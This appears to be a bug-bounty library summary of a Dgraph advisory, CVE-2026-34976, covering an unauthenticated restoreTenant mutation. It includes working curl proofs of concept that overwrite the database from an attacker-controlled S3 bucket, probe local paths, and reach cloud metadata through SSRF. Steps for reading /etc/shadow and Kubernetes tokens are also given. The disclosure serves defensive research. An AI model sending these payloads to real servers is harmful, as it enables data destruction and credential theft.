# Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Dgraph's restoreTenant admin mutation lacked authorization middleware, letting unauthenticated attackers overwrite the database, read local files, and SSRF via attacker-controlled backup URLs.

- Payout: Research
- Severity: critical
- Program: Dgraph
- Found by: kodareef5
- Disclosed: 2026-04-02
- CVE: CVE-2026-34976
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p5rh-vmhp-gvcw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p5rh-vmhp-gvcw
- Tags: area:web3 domain:api impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:aws tech:graphql tech:s3 technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal vuln:ssrf

**Target:** Dgraph Alpha /admin GraphQL endpoint (restoreTenant mutation)
**Root cause:** restoreTenant was omitted from adminMutationMWConfig (admin.go:499-522), so middleware lookup returned nil and Then() at resolve/middlewares.go:98 skipped all auth, IP whitelisting and logging.
**Steps:**
1. Send unauthenticated POST to `http://dgraph-alpha:8080/admin` with `mutation { restoreTenant(input: { restoreInput: { location: "s3://attacker-bucket/evil-backup", accessKey: "...", secretKey: "...", anonymous: false }, fromNamespace: 0 }) { code message } }`
2. Server fetches attacker backup via worker.ProcessRestoreRequest and overwrites namespace 0
3. For file read: use `location: "file:///etc/"` and compare error messages (`No backups with the specified backup ID` vs `The uri path doesn't exists`) to enumerate paths
4. For SSRF: set `location: "s3://169.254.169.254/latest/meta-data/"` so Minio client connects to metadata endpoint
5. For Vault SSRF + file read: supply `vaultAddr: "http://internal-service:8080"`, `vaultRoleIDFile: "/var/run/secrets/kubernetes.io/serviceaccount/token"`, `encryptionKeyFile: "/etc/shadow"`
**How found:** Compared adminMutationMWConfig entries against all admin mutations; noticed restoreTenant absent while restore had gogMutMWs, then traced middleware lookup returning nil and Then() short-circuiting on empty slice.
**Exploitation:** Unauthenticated attacker hosts a crafted Dgraph backup on a public S3 bucket (anonymous:true) or their own bucket with keys, then calls restoreTenant to overwrite the target namespace's entire database. Same mutation also enables file:// path enumeration, S3-endpoint SSRF to cloud metadata, and Vault SSRF plus arbitrary server file reads via vaultRoleIDFile/encryptionKeyFile.
**Escalation:** Single unauthenticated mutation chains DB overwrite, local file read, and SSRF to internal services and cloud metadata.
**Insight:** Enumerate every mutation/resolver in a GraphQL admin surface and diff against the middleware map — a single missing key silently disables the entire auth chain, and side-by-side error messages between protected and unprotected siblings confirm the bypass.

## Proof of concept (copied exactly from the original report)

**Unauthenticated restoreTenant overwrites database from attacker S3**

```
curl -X POST http://dgraph-alpha:8080/admin \
      -H "Content-Type: application/json" \
      -d '{
        "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"[redacted]\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
      }'

    # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
```

**file:// local filesystem probe via restoreTenant**

```
curl -X POST http://dgraph-alpha:8080/admin \
      -H "Content-Type: application/json" \
      -d '{
        "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
      }'
```

**SSRF to cloud metadata via S3 endpoint**

```
curl -X POST http://dgraph-alpha:8080/admin \
      -H "Content-Type: application/json" \
      -d '{
        "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
      }'
```

